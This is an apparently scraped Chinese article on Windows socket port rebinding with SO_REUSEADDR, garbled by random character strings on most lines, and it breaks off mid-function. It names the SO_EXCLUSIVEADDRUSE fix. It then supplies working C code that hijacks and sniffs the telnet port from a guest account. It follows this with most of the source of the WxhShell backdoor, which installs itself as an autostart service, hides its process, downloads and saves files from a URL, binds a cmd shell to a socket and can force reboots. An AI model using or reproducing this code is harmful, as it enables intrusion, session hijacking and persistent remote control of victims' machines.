在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<5@+:7Dv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^USj9HTK J
[2;&-@ saddr.sin_family = AF_INET;
0?BT* Ooc,R( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Zla5$GM Ag }hyIl bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lEQ63)Z zu(/c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Ec8Y}C,{7< 1m|Oi%i4 这意味着什么?意味着可以进行如下的攻击:
}<uD[[FLB gmLGK1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
FgE6j; $.R$I&U 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
r&A#h;EQX2 3lMmSKN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
? =_l=dR .MhZ=sn 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
qeQTW@6
F <4^ _dJ9= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Cj"k
Fq4 F:n(yXA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&?9p\oY[ *ls}r5k2Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
SgAY/# 92]>" #include
(+4gq6b #include
zc'!a" #include
qXt2m #include
cm%QV? DWORD WINAPI ClientThread(LPVOID lpParam);
t&mw@bj int main()
Z7JI4" {
+NxEx/{ WORD wVersionRequested;
llhJ,wD DWORD ret;
(nbqL+ WSADATA wsaData;
_I<eJ\ BOOL val;
[ k^6#TQcn SOCKADDR_IN saddr;
$bF.6 SOCKADDR_IN scaddr;
Y{1IRP?S int err;
JiDX|Q<c SOCKET s;
pJ6bX4QnDX SOCKET sc;
WUQ2[)< int caddsize;
Za jQ B HANDLE mt;
AQ32rJT8c` DWORD tid;
1jh^-d5 wVersionRequested = MAKEWORD( 2, 2 );
I/|)? err = WSAStartup( wVersionRequested, &wsaData );
~kS~v if ( err != 0 ) {
HO41)m+& printf("error!WSAStartup failed!\n");
p"Oi83w;9 return -1;
n/pM[gI }
UN`-;! saddr.sin_family = AF_INET;
U.crRrN Dgc[WsCEW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ym2\o_^( -qs.'o
;2 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
5f=e
JDo=x saddr.sin_port = htons(23);
FxKH?Rl if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wDem
}uO {
2xni! *T+ printf("error!socket failed!\n");
b}9K"GT return -1;
Xleoh2&M }
:)q/8 0@ val = TRUE;
r*>XkM& M //SO_REUSEADDR选项就是可以实现端口重绑定的
4^w>An6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
RB\>$D {
bG^E]a/D printf("error!setsockopt failed!\n");
hnvn&{| return -1;
mz+>rc }
5[al^'y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
x|U]x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
b^y#.V.|k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~fAdOh lc>nUhj. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
67 }y/C]< {
7eQ7\,^H ret=GetLastError();
F{[2|u(4 printf("error!bind failed!\n");
.J%}ROm return -1;
Zr;.`(> }
TcpD*%wW listen(s,2);
?qHW"0Tjn while(1)
gD _tBv {
:&2RV_$>= caddsize = sizeof(scaddr);
.o:Pe2C //接受连接请求
6y%BJU.I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
UI<'T3b if(sc!=INVALID_SOCKET)
hs2f3;) {
(vz)GrH> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:?@d\c' if(mt==NULL)
y:iE'SRRK6 {
VpWax]' printf("Thread Creat Failed!\n");
@-qxNw break;
kzLj1Ix2 }
n1y#gC }
r7C
m CloseHandle(mt);
GaSk&'n$Y }
+TpM7QaL closesocket(s);
UB .FX WSACleanup();
h[C!cX return 0;
{h&*H[Z z }
yIXM}i: DWORD WINAPI ClientThread(LPVOID lpParam)
^(N+s? {
"0`r]5 5d SOCKET ss = (SOCKET)lpParam;
feIAgd}, SOCKET sc;
4D$$KSa unsigned char buf[4096];
, j'=sDl SOCKADDR_IN saddr;
k#JFDw\ long num;
S?OK@UEJ DWORD val;
V F6OC4 K DWORD ret;
7T_g?!sdMh //如果是隐藏端口应用的话,可以在此处加一些判断
@s/;y VVq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
42Gr0+Mb saddr.sin_family = AF_INET;
qoB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]B3 0d saddr.sin_port = htons(23);
MO9}Itg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xPQO}wKa {
]o6yU#zn~e printf("error!socket failed!\n");
#bsR L8@ return -1;
yeE_1C . }
RNRMw;cT val = 100;
E0ud<'3< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/B|#GJ\\3 {
#c+N}eX{ ret = GetLastError();
QMy;?, return -1;
YDi_Gl$ }
oxPOfI1%] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
U[U$1LSS {
.{5)$w> ret = GetLastError();
wCMsaW return -1;
z;#}uC }
q&jZmr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Iy8gQdI {
K?-K<3]9f printf("error!socket connect failed!\n");
45/f}kvy closesocket(sc);
O5Yk=-_m closesocket(ss);
c*~/[:} return -1;
7R7g$ }
Te$/[`<U while(1)
S &s7] {
U6jlv3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-CtA\<7I //如果是嗅探内容的话,可以再此处进行内容分析和记录
BB--UM{7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S,G=MI" num = recv(ss,buf,4096,0);
+_:Ih,- if(num>0)
0m7J'gm{ send(sc,buf,num,0);
%[lX
H else if(num==0)
e>nRJH8pK break;
,EcmMI^A num = recv(sc,buf,4096,0);
DG7FG-- if(num>0)
(z ;=3S send(ss,buf,num,0);
@ewQx| else if(num==0)
Y8m|f break;
C([;JO
11[ }
$'L(}gNv5 closesocket(ss);
$aE%W? \ closesocket(sc);
lk6mu return 0 ;
D*vrQ9
8 }
p'KU!I} <%>Q$b5 [NeOd77y ==========================================================
`9a%}PVQ- [p}J=1S 下边附上一个代码,,WXhSHELL
=<`9T_S 16 dMeDQ`c`W ==========================================================
Q!GB^P hrU.QF8 #include "stdafx.h"
Yi7`iC b'Mg #include <stdio.h>
&1]}^/u2 #include <string.h>
cFGP3Q4{ #include <windows.h>
!uO|1b #include <winsock2.h>
Ywr^uy1V,/ #include <winsvc.h>
+Y)rv6}m #include <urlmon.h>
A[htG\A` 0 l=
~]MSwY #pragma comment (lib, "Ws2_32.lib")
>W.Pg`'D #pragma comment (lib, "urlmon.lib")
B964#4&
9 wF?THkdFo #define MAX_USER 100 // 最大客户端连接数
TL]2{rf~ #define BUF_SOCK 200 // sock buffer
>/1.VT\E #define KEY_BUFF 255 // 输入 buffer
f]T#q@|lE IH}?CZ@{? #define REBOOT 0 // 重启
qFe|$rVVIl #define SHUTDOWN 1 // 关机
1@CI7j ^B?{X|U37 #define DEF_PORT 5000 // 监听端口
$Jb+}mlT JaG<.ki #define REG_LEN 16 // 注册表键长度
(cNT ud$ #define SVC_LEN 80 // NT服务名长度
Wf0ui1@ `@?l{ // 从dll定义API
+;:i,`Lmg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(d4zNYK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
LtejLCf/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
"F"G(ba^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[K&O]s<Y [g&Q_+,j // wxhshell配置信息
p*#SSR9< struct WSCFG {
[7|}h/ int ws_port; // 监听端口
;op+~@*! char ws_passstr[REG_LEN]; // 口令
c!{.BgGN int ws_autoins; // 安装标记, 1=yes 0=no
pR`.8MMc8 char ws_regname[REG_LEN]; // 注册表键名
F~W*"i+EZ char ws_svcname[REG_LEN]; // 服务名
,dzbI{@6 char ws_svcdisp[SVC_LEN]; // 服务显示名
78dmXOZ'_h char ws_svcdesc[SVC_LEN]; // 服务描述信息
.Pxb9mW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
kRSu6r9 int ws_downexe; // 下载执行标记, 1=yes 0=no
'PV,c|f> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JS({au char ws_filenam[SVC_LEN]; // 下载后保存的文件名
WQiEQ>6(t( .LnXKRd{ };
v SHb\V# &Vnet7LfU // default Wxhshell configuration
@iC!Q>D struct WSCFG wscfg={DEF_PORT,
lG fO "xuhuanlingzhe",
I4qzdD 1,
\Qu~iB(Y "Wxhshell",
)c]GgPH "Wxhshell",
Gp@Y=mU "WxhShell Service",
,0lRs "Wrsky Windows CmdShell Service",
"o;l8$)VL "Please Input Your Password: ",
3"I 1'+ 1,
*7BY$q "
http://www.wrsky.com/wxhshell.exe",
!G`w@E9M) "Wxhshell.exe"
2ZIf@C{P. };
.Zf#L'Rf 6S"bW)O // 消息定义模块
=*"Amd, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
uW Q` char *msg_ws_prompt="\n\r? for help\n\r#>";
wqA5GK>m2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)ckx&e char *msg_ws_ext="\n\rExit.";
;)"r^M)): char *msg_ws_end="\n\rQuit.";
lSXhHy char *msg_ws_boot="\n\rReboot...";
2rPKZ| char *msg_ws_poff="\n\rShutdown...";
Ls*.=ARq char *msg_ws_down="\n\rSave to ";
@_N -> l aH'^`]'_= char *msg_ws_err="\n\rErr!";
; bP7| char *msg_ws_ok="\n\rOK!";
|06J4H~k zrnc~I+
char ExeFile[MAX_PATH];
ax>en]rNP int nUser = 0;
]y-r
I HANDLE handles[MAX_USER];
4J94iI>S.l int OsIsNt;
jDH)S{k I`Rxijz SERVICE_STATUS serviceStatus;
)bPNL$O SERVICE_STATUS_HANDLE hServiceStatusHandle;
u`E_Q8 6Oo'&3@ // 函数声明
*J1pxZ^ int Install(void);
*DDfdn int Uninstall(void);
;E*^AW int DownloadFile(char *sURL, SOCKET wsh);
,2 &'8:B int Boot(int flag);
RDzL@xCcn void HideProc(void);
'["Y;/> int GetOsVer(void);
>%Y.X38Z[ int Wxhshell(SOCKET wsl);
,A[HYc|uy void TalkWithClient(void *cs);
]vKxgfF int CmdShell(SOCKET sock);
.u
W_(Rqg int StartFromService(void);
YwB5Zqr int StartWxhshell(LPSTR lpCmdLine);
yMX4 f Srol0D I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
mz9Kwxe VOID WINAPI NTServiceHandler( DWORD fdwControl );
{D`F$=Dlw ~aA+L-s| // 数据结构和表定义
aW w`v[v SERVICE_TABLE_ENTRY DispatchTable[] =
LT'#0dCC {
.Ddl.9p5 {wscfg.ws_svcname, NTServiceMain},
*zz/U
(9D {NULL, NULL}
]r|.\}2Y7 };
.!)7x3|$[ BN#^
/a- // 自我安装
6"&&s int Install(void)
d{ OY {
Z;WqKIM# char svExeFile[MAX_PATH];
nqiy)ZN#R HKEY key;
Y*w<~m strcpy(svExeFile,ExeFile);
-pg7>vO q P3lNns3 // 如果是win9x系统,修改注册表设为自启动
4fP>;9[F if(!OsIsNt) {
Fo~C,@/Qt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2<u vz<B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:*}tkr4&eh RegCloseKey(key);
Eptsxyz{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Kq-y1h]7H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aASnk2DFd RegCloseKey(key);
hrEKmRmF- return 0;
v,g,c`BjK }
3b%y+?-{\u }
W=F?+KgL }
I&1Mh4yu else {
i}+dctg/ >OiC].1
// 如果是NT以上系统,安装为系统服务
Hej0l^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;=B&t@ if (schSCManager!=0)
v6oZD;;~ {
~j F5%Gu SC_HANDLE schService = CreateService
r"5]U`+ (
3@6f%Dyj schSCManager,
_|*3uGo: wscfg.ws_svcname,
J
fsCkS wscfg.ws_svcdisp,
;]<$p[m SERVICE_ALL_ACCESS,
mRQ F5W6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.0\Wu+ SERVICE_AUTO_START,
li/O&@g` SERVICE_ERROR_NORMAL,
Q?[k>fu0 svExeFile,
Z~$& h NULL,
zZ;tSKL NULL,
7(gQ6?KsZ NULL,
BT`/OD@ NULL,
<
> f12pu NULL
hr]NW>; );
1iF
|t5>e if (schService!=0)
N;Hf7K {
1*>a CloseServiceHandle(schService);
S1`+r0Fk~n CloseServiceHandle(schSCManager);
0 B3*\ H}5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
w9.r`_- strcat(svExeFile,wscfg.ws_svcname);
Zu~ #d)l3N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
puMpUY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
mE^6Zu RegCloseKey(key);
<7^_M*F9 return 0;
Q
v{q:=k }
RJBNY;0 }
C(W?)6? CloseServiceHandle(schSCManager);
IybMO5Mwn }
=>S5}6 }
nX?fj<oR| !^`ZHJ-3>; return 1;
L & PhABZ }
Q&n `'
6]Z* // 自我卸载
E$8GXo00v int Uninstall(void)
gDAA>U3|$ {
Gi;eDrgj~ HKEY key;
}Qg9l| 4P2)fLmc if(!OsIsNt) {
#( X4M{I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z,DEBRT+ RegDeleteValue(key,wscfg.ws_regname);
0>E` 9| RegCloseKey(key);
_CI! 7% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OBb RegDeleteValue(key,wscfg.ws_regname);
,h> 0k`J:a RegCloseKey(key);
Kr]F+erJe return 0;
U_M > Q_r( }
$C^94$W }
S=M$g#X`5 }
&x;v& else {
<R]?8L0{h B8B^@
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^>k [T. if (schSCManager!=0)
wU+ofj;
+I {
!;iySRZr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\>9%=32u. if (schService!=0)
K*CO%:,- {
`wk#5[Y_ if(DeleteService(schService)!=0) {
fdp/cwd CloseServiceHandle(schService);
\7("bB= CloseServiceHandle(schSCManager);
,v)@&1Wh: return 0;
.sjM$#V= }
z@<`] CloseServiceHandle(schService);
0v',+- }
&XgB-}^: CloseServiceHandle(schSCManager);
,{:5Z:<| }
Fwho.R-. }
v*]|1q%/ 5=Gq
d4&* return 1;
=@{H7z(p& }
W13$-hf9
U Y)YhXW // 从指定url下载文件
JH<q7Y6!y int DownloadFile(char *sURL, SOCKET wsh)
.c~;/@{ {
5O*.qp? HRESULT hr;
BnAia3z char seps[]= "/";
Eiz\Nb char *token;
HOu<,9?>Q char *file;
j:]/AReOL char myURL[MAX_PATH];
yrkd#m char myFILE[MAX_PATH];
+2C:] \{NeDv{A strcpy(myURL,sURL);
>JC.qjA token=strtok(myURL,seps);
3-LO while(token!=NULL)
~u}[VP {
wm@1jLjrQ file=token;
WWq)CwR token=strtok(NULL,seps);
7{<t]wQq }
"&L<u0KHG yUEUIPL GetCurrentDirectory(MAX_PATH,myFILE);
{b]WLBy strcat(myFILE, "\\");
u4+)lvt strcat(myFILE, file);
c67O/ B( send(wsh,myFILE,strlen(myFILE),0);
4*m\Zoq> send(wsh,"...",3,0);
E})PNf; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
C{Aeud #5 if(hr==S_OK)
u5T\_0 return 0;
%2/WyD$U else
mL3'/3-7:V return 1;
}54\NSj0 Ct
#hl8b: }
B.{0,bW?
.hT^7|Jz[ // 系统电源模块
WY<ip< int Boot(int flag)
<}i\fJX6 {
ng<|lsZd HANDLE hToken;
gEPCXf TOKEN_PRIVILEGES tkp;
uOm fpg O r1F5&?{q if(OsIsNt) {
mN~;MR; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C5;"mo- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
I#$u(2.H tkp.PrivilegeCount = 1;
CIYD'zR[2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=B;rj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?uh7m2l0D if(flag==REBOOT) {
js k<N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
C{e:xGJK return 0;
uXK$5" }
Yxi.A$g else {
<0&];5
on if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_K/h/!\n return 0;
@R`OAdy }
?WUu@Z }
]lm9D@HMC else {
3MkF if(flag==REBOOT) {
?i9LqHL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
zb:p,T@5 return 0;
@GjWeOj] }
p/SJt0 else {
Q,)G_lO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Yckl,g_ return 0;
srg#<oH|{c }
~#(bX]+A }
mufF_e) Z\LW<**b return 1;
(QqKttL: }
=BNmuAY7 #l{qb]n] // win9x进程隐藏模块
J#'c+\B<2X void HideProc(void)
CUY2eQJ{U {
%Ix^Xb0 2/(gf[elX HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tPFV6n
i if ( hKernel != NULL )
L(AY)gB {
3%k@,Vvt pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
FnL~8otPF' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|A0kbC. FreeLibrary(hKernel);
3osAWSCEL }
syBYH5 /Xn I> return;
~TurYvf }
&hqGGfVsd ow]n)Te // 获取操作系统版本
8 I,(\<Xv int GetOsVer(void)
"64pVaT4 {
H:p(C?tk{ OSVERSIONINFO winfo;
fa"eyBO50 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
E)>6}0P GetVersionEx(&winfo);
u9k##a4.E
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5?6ATP:[ return 1;
-u)06C*39 else
X~n Kuo return 0;
[ub,&j^ }
5E}0<& q$U;\Mg) // 客户端句柄模块
oX!s u int Wxhshell(SOCKET wsl)
/AW6XyMD_ {
CDR^xo5
dP SOCKET wsh;
#YjV3O5< struct sockaddr_in client;
JWH}0+1* DWORD myID;
WYI? M NoiU5pP while(nUser<MAX_USER)
1~ZDHfd5 {
^c.b@BE int nSize=sizeof(client);
Q_M2!qj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Gvj@?62 if(wsh==INVALID_SOCKET) return 1;
>TK`s@jdSV [o>/2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
pE15[fJ` if(handles[nUser]==0)
M.H4ud closesocket(wsh);
,>"1'i&@ else
*4=Fy:R]O nUser++;
Vv6xVX }
7r*>?]y+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
AF **@iG ];j8vts& return 0;
A\k-OP] }
lzl4pnj n |.- :Zy // 关闭 socket
AE^&hH0^ void CloseIt(SOCKET wsh)
m,]Tl;f {
F'|,(P closesocket(wsh);
^3AJYu nUser--;
-/7[_, ExitThread(0);
Tcr&{S&o }
j+Wgjf (?q]E$
@ // 客户端请求句柄
5C{X$7u void TalkWithClient(void *cs)
Z&J417buk {
yTbBYx9Bi Og-Mnx3 SOCKET wsh=(SOCKET)cs;
I>G)wRpfR' char pwd[SVC_LEN];
1gH5#_? char cmd[KEY_BUFF];
[NaU\;w\ char chr[1];
Gf]oRNP,N int i,j;
<1_?.gSi Fv e,&~ while (nUser < MAX_USER) {
QDxL y aL d v@6wp: if(wscfg.ws_passstr) {
7|65;jm+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lm-ubzJN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O(WFjmHx //ZeroMemory(pwd,KEY_BUFF);
;#f_e; i=0;
^!Bpev while(i<SVC_LEN) {
,gD30Pylz mX,#|qLf // 设置超时
} vcr71u fd_set FdRead;
ZOS{F_2. struct timeval TimeOut;
5p"*nkF FD_ZERO(&FdRead);
0nhsjN}v FD_SET(wsh,&FdRead);
"P0o)g+{ TimeOut.tv_sec=8;
z36ny o TimeOut.tv_usec=0;
GpxGDN3? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
L{
.r8wSrI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9YB~1M \^':(Gu4o if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
7+=j]+O pwd
=chr[0]; MS,H12h
if(chr[0]==0xd || chr[0]==0xa) { bYG}CO
pwd=0; L\hPw{)
break; tk_y~-xz
} o&I0*~sN
i++; y]cx}9~
} VVCCPK^<
zIRa%%.i<
// 如果是非法用户,关闭 socket gU+BRTZ&x
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Grj_p6O
} V@cRJ3ZF
z XVQLz5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *Q51'?y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NP%ll e,l
y "7TO#
while(1) { G++kUo<
B}r@x z
ZeroMemory(cmd,KEY_BUFF); D.$EvUSK<.
Xb|hP
// 自动支持客户端 telnet标准 X,T^(p
j=0; li
NPXS+
while(j<KEY_BUFF) { 2evM|Dj
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^{Syg;F=
cmd[j]=chr[0]; Nnv&~D>
if(chr[0]==0xa || chr[0]==0xd) { ,0#OA*0B
cmd[j]=0; $OjsaE%
break; i.K}(bo;b
} ]T
zN*6o
j++; a$9UUH-|
} h3O5DP6~
i_gS!1Z2
// 下载文件 f_;3|i
if(strstr(cmd,"http://")) { %!YsSk,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ocL
if(DownloadFile(cmd,wsh)) Z< uwqA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs<,kMRGVL
else EcwHO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e(!a~{(kq%
} mHw1n=B
else { |L]dJ<
hM>xe8yE
switch(cmd[0]) { vuw1ycy)
?\^u},HnE|
// 帮助 |vEfE{
case '?': { paMw88*u
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *%8,G'"r?
break; '7_'s1
} _^&oNm1
// 安装 NK"y@)%0
case 'i': { QRt(?96
if(Install()) I`5MAvP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Vut4px
else "q]v2t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u45e>F=
break; V|b?H6Q
} \a|gzC1G
// 卸载 2.; OHQTE
case 'r': { .l#Pmd!
if(Uninstall()) r2U2pAy#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?:H9xJ_^
else +86\&y)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .:<c[EJ
b
break; Of:e6N
} G. <9K9K
// 显示 wxhshell 所在路径 Zvr(c|Q
case 'p': { `=CF
|I
char svExeFile[MAX_PATH]; -U;s,>\)
strcpy(svExeFile,"\n\r"); KZD&Ih(vC
strcat(svExeFile,ExeFile); ,[cWG)-
send(wsh,svExeFile,strlen(svExeFile),0); gB
kb0
break; 9rA3qj%
} Zz/w>kAG*{
// 重启 BAzqdG
case 'b': { ^!kvgm<{$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1b_->_9
if(Boot(REBOOT)) z|pH>R?:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hpAIIgn
else { gvsS:4N"Nq
closesocket(wsh); ZE}m\|$
ExitThread(0); nNQ\rO
} J!yc9Q
break; < u^41
} ! '2'db
// 关机 u#
%7>=
case 'd': { }Pw5*duq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5i1 >z{
if(Boot(SHUTDOWN)) n,V`Y'v)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $F/&/Aa
else { QP\vN|r
closesocket(wsh); X)nOY*
ExitThread(0); nq6]?ZJ
} lXB_HDY
break; <v5toyA
} L;BYPZR
// 获取shell /~AwX8X
case 's': { IM
+Dm
CmdShell(wsh); VN$#y4
closesocket(wsh); @br%:Nt
ExitThread(0); L^ +0K}eD
break; 75^-93
} jhg!K.A
// 退出 A;Zg:
case 'x': { JaIj9KLNX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W^yF5
CloseIt(wsh); L`"cu.l
break; f_z2d+
} czHO)uQ?d`
// 离开 G~m(&,:Mu
case 'q': { V8,$<1Fi;-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); pw(`+x]
closesocket(wsh); kWoy%?|RRa
WSACleanup(); <(^-o4Cl
exit(1); ^2=Jv.2{|
break; mTs[3opg
} ^[id8
} 4|XE
f,
} )<3WVvB
3>S.wyMR4
// 提示信息 -Mv`|odY/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x80~j(uVf
} "`&?<82
} ZS}2(t
k+s<;{
return; Mq*Sp
UR
}
!N)oi$T%
Qh{=Z^r
// shell模块句柄 gu"Agct4
int CmdShell(SOCKET sock) 'fg`td
{ aC%0jJ<eo
STARTUPINFO si; 2b3*zB*@V
ZeroMemory(&si,sizeof(si)); *nH ?o* #
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zj}DlNkVu
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |d,1mmv@K
PROCESS_INFORMATION ProcessInfo; g[eI-J+F
char cmdline[]="cmd"; _ROe!w 1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZZeqOu7^
return 0; u\Xi]pZ@X]
} "M? (Ax
NtA}I)'SWU
// 自身启动模式 <'gCI Ia2
int StartFromService(void) KUly"B
{ F*]AjD-
typedef struct $jw!DrE
{ z:fd'NC
DWORD ExitStatus; <:%Iq13D
DWORD PebBaseAddress; YJ:CqTy
DWORD AffinityMask; Duz}e80
DWORD BasePriority; >iG`
